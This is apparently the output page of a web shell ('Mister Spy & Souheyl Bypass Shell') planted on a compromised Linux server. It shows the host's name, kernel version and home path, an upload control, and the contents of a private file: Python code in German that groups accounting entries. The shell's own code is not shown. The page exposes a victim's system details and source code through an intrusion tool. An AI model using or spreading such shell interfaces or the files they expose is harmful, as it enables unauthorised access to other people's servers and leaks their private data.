Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /home/ift/52_procpy/fibu/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //home/ift/52_procpy/fibu/iz1

#********************************************************************************

    def idem_kto (self,ktotext,grenze=0.99):

        text      = []
        buchungen = []
        groups    = [buchungen]
          
        for zeile in ktotext.split("\n"):

            m = re.search(r"^(\d\d\d\d\d\d\d\d) +(\-?\d+\.\d\d) +(\S+) +(\S+) +(\-?\d+\.\d\d) +(.*)",zeile)
            if not m:
                text.append(zeile)
            else:
                datum   = m.group(1)
                betrag  = m.group(2)
                ktoa    = m.group(3)
                ktob    = m.group(4)
                remark  = m.group(6)
                m       = re.search(r"^(.*)\-(\d\d\d\d\d)$",ktoa)
                if m:
                    buchungen.append([datum,betrag,m.group(1),ktob,remark])
                else:
                    text.append(zeile)
            
        pointer = []
        self.mark("")
        while (0 == 0):
        
            pointer0 = pointer
            pointer  = self.next_pointer(pointer,len(buchungen)-1)
            if not pointer:
                break
            if not len(pointer0) == len(pointer):
                self.mark("        ... searching " + str(len(pointer)) + "-tuples in " + str(len(buchungen)) + " rows")
            
            if len(buchungen) > { 1:99999999, 2:1000, 3:120, 4:50, 5:30, 6:24, 7:20, 8:18, 9:17, 10:16,
                                  11:15,  12:16, 13:15, 14:15, 15:15 } [len(pointer)]:
                print("        ... skip")
                break

            sum     = 0.00
            for i in pointer:
                sum = sum + float(buchungen[i][1])

            if abs(sum) > grenze:
                continue

            zaehler = 0
            group   = []
            for i in pointer:
                group.append(buchungen[i-len(group)])
                del buchungen[i-len(group)+1]
                pointer[zaehler] = pointer[0] + zaehler
                zaehler = zaehler + 1
            pointer[-1] = pointer[-1] - 1
            groups.append(group)
            
        if len(buchungen) == 0:
            groups.remove(buchungen)            
        groups.sort(key=lambda x:  x[0][0]  )


        zaehler = {}
        for group in groups:
            if len(group) == 2 and abs(float(group[0][1]) + float(group[1][1])) < grenze:
                id = self.ukto_from_betrag(group[0][1])
            else:
                ll = len(group)
                if not ll in zaehler:
                    zaehler[ll] = 0
                zaehler[ll] = zaehler[ll] + 1
                id = "0" + str(ll)
                id = id + ("%0" + str(5-len(id)) + "u") % zaehler[ll]
            
            for buchung in group:
                text.append(buchung[0] + " " + buchung[1] + " " + buchung[2] + "-" + id + " " +
                            buchung[3] + "  0.00  " + buchung[4])
                            
        return( '\n'.join(text) + '\n' )

#********************************************************************************
            
    def next_pointer (self,pointer,maxlen):
    
        if len(pointer) > maxlen:   #   hier ist nichts mehr zu machen, es gibt keinen hoeheren Index
            return(None)

        if len(pointer) > 0:

            if pointer[-1] < maxlen:            #   erst sehen, ob der letzte Index problemlos erhoeht werden kann
                pointer[-1] = pointer[-1] + 1
                return(pointer)

            pointer = self.next_pointer(pointer[:-1],maxlen-1)   #   wenn das nicht geht, das zweithoechste Teilstueck erhoehen
            if len(pointer) > 0:
                pointer.append(pointer[-1]+1)   #  dann den letzten Index erhoehen
                if not pointer[-1] > maxlen:    #  wenn der noch passt, fertig
                    return(pointer)

        zaehler = 0          #   ansonsten die Gesamtlange des Pointers um 1 erhoehen
        for i in (pointer):
            pointer[zaehler] = zaehler
            zaehler + 1
        pointer.append(zaehler)
        
        return(pointer)                    
        
#**********************************************************************            

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net